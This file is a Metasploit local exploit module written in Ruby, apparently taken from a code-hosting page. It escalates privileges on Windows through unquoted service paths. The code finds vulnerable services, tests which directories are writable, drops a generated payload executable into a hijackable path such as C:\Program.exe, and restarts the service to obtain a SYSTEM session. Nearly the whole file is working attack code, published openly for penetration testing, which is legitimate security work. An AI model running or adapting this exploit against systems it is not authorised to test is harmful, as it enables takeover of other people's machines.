203 lines
7.1 KiB
Ruby
203 lines
7.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Services
|
|
include Msf::Exploit::Retry
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Unquoted Service Path Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a logic flaw due to how the lpApplicationName parameter
|
|
is handled. When the lpApplicationName contains a space, the file name is
|
|
ambiguous. Take this file path as example: C:\program files\hello.exe;
|
|
The Windows API will try to interpret this as two possible paths:
|
|
C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
|
|
To some software developers, this is an unexpected behavior, which becomes a
|
|
security problem if an attacker is able to place a malicious executable in one
|
|
of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
|
|
Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the
|
|
same problem.
|
|
|
|
The offensive technique is also described in Writing Secure Code (2nd Edition),
|
|
Chapter 23, in the section "Calling Processes Security" on page 676.
|
|
|
|
This technique was previously called Trusted Service Path, but is more commonly
|
|
known as Unquoted Service Path.
|
|
|
|
The service exploited won't start until the payload written to disk is removed.
|
|
},
|
|
'References' => [
|
|
['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'],
|
|
['URL', 'http://www.microsoft.com/learning/en/us/book.aspx?id=5957&locale=en-us'], # pg 676
|
|
['URL', 'https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae']
|
|
],
|
|
'DisclosureDate' => '2001-10-25',
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'sinn3r', # msf module
|
|
'h00die' # improvements
|
|
],
|
|
'Platform' => [ 'win'],
|
|
'Targets' => [ ['Windows', {}] ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'DefaultOptions' => { 'WfsDelay' => 300 }, # give a long wait so the box/service can be rebooted
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SERVICE_DOWN ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
|
|
'Reliability' => [ REPEATABLE_SESSION, ]
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def check
|
|
services = enum_vuln_services.map { |srv| srv['name'] }
|
|
if services.empty?
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
CheckCode::Vulnerable("Vulnerable services: #{services.join(', ')}")
|
|
end
|
|
|
|
###
|
|
# This function uses a loop to go from the longest potential path (most likely with write access), to shortest.
|
|
# >> fpath = 'C:\\Program Files\\A Subfolder\\B Subfolder\\C Subfolder\\SomeExecutable.exe'
|
|
# >> fpath = fpath.split(' ')[0...-1]
|
|
# >> fpath.reverse.each { |x| puts fpath[0..fpath.index(x)].join(' ')}
|
|
# C:\Program Files\A Subfolder\B Subfolder\C
|
|
# C:\Program Files\A Subfolder\B
|
|
# C:\Program Files\A
|
|
# C:\Program
|
|
###
|
|
|
|
def generate_folders(fpath, &block)
|
|
potential_paths = []
|
|
checked_paths = []
|
|
finished = false
|
|
fpath.reverse.each do |x|
|
|
path = fpath[0..fpath.index(x)].join(' ')
|
|
# when we test writability, we drop off last part since that is the file name
|
|
path_no_file = path.split('\\')[0...-1].join('\\')
|
|
|
|
next if checked_paths.include? path_no_file
|
|
|
|
checked_paths << path_no_file
|
|
unless writable?(path_no_file)
|
|
vprint_error(" #{path_no_file}\\ is not writable")
|
|
next
|
|
end
|
|
vprint_good(" #{path_no_file}\\ is writable")
|
|
|
|
finished = block.call(path)
|
|
potential_paths << path
|
|
break if finished
|
|
end
|
|
|
|
[potential_paths, finished]
|
|
end
|
|
|
|
def enum_vuln_services(&block)
|
|
vuln_services = []
|
|
|
|
each_service do |service|
|
|
info = service_info(service[:name])
|
|
|
|
# Sometimes there's a null byte at the end of the string,
|
|
# and that can break the regex -- annoying.
|
|
next unless info[:path]
|
|
|
|
cmd = info[:path].strip
|
|
|
|
# Check path:
|
|
# - Filter out paths that begin with a quote
|
|
# - Filter out paths that don't have a space
|
|
next if cmd !~ /^[a-z]:.+\.exe$/i
|
|
next if !cmd.split('\\').map { |p| true if p =~ / / }.include?(true)
|
|
|
|
vprint_good("Found potentially vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})")
|
|
serv = {
|
|
'name' => service[:name],
|
|
'cmd' => cmd
|
|
}
|
|
fpath = cmd.split(' ')[0...-1] # cut off the .exe last portion
|
|
vprint_status(' Enumerating vulnerable paths')
|
|
serv['paths'], finished = generate_folders(fpath) do |path|
|
|
block.call(service[:name], path) if block_given?
|
|
end
|
|
|
|
# don't bother saving if we didn't find any vuln paths
|
|
vuln_services << serv unless serv['paths'].empty?
|
|
break if finished
|
|
end
|
|
|
|
vuln_services
|
|
end
|
|
|
|
# overwrite the writable? included in file.rb addon since it can't do windows.
|
|
def writable?(path)
|
|
f = "#{path}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.txt"
|
|
words = Rex::Text.rand_text_alphanumeric(9)
|
|
begin
|
|
# path needs to have double, not single quotes
|
|
c = %(cmd.exe /C echo '#{words}' >> "#{f}" && type "#{f}" && del "#{f}")
|
|
cmd_exec(c).to_s.include? words
|
|
rescue Rex::Post::Meterpreter::RequestError => _e
|
|
false
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
print_status('Finding a vulnerable service...')
|
|
|
|
@svc_exes = {}
|
|
enum_vuln_services do |svc_name, path|
|
|
#
|
|
# Drop the malicious executable into the path
|
|
#
|
|
exe_path = "#{path}.exe"
|
|
print_status(" Placing #{exe_path} for #{svc_name}")
|
|
exe = @svc_exes[svc_name] ||= generate_payload_exe_service({ servicename: svc_name })
|
|
print_status(" Attempting to write #{exe.length} bytes to #{exe_path}...")
|
|
write_file(exe_path, exe)
|
|
print_good ' Successfully wrote payload'
|
|
register_file_for_cleanup(exe_path)
|
|
|
|
#
|
|
# Run the service, let the Windows API do the rest
|
|
#
|
|
if service_restart(svc_name)
|
|
sleep 5 # sleep a bit if restarting the service succeeded to see if any sessions are created
|
|
else
|
|
print_error ' Unable to restart service. System reboot or an admin restarting the service is required. Payload left on disk!!!'
|
|
end
|
|
|
|
session_created? # propagated up to indicate if we're finished or not
|
|
end
|
|
|
|
# if no exes were created, no vulnerable service paths were found
|
|
fail_with(Failure::NotVulnerable, 'No service found with trusted path issues') if @svc_exes.empty?
|
|
|
|
print_status("Waiting #{wfs_delay} seconds for shell to arrive") unless session_created?
|
|
end
|
|
|
|
def service_restart(name)
|
|
print_status("[#{name}] Restarting service")
|
|
super
|
|
rescue RuntimeError => e
|
|
print_error("[#{name}] Restarting service failed: #{e}")
|
|
false
|
|
end
|
|
end
|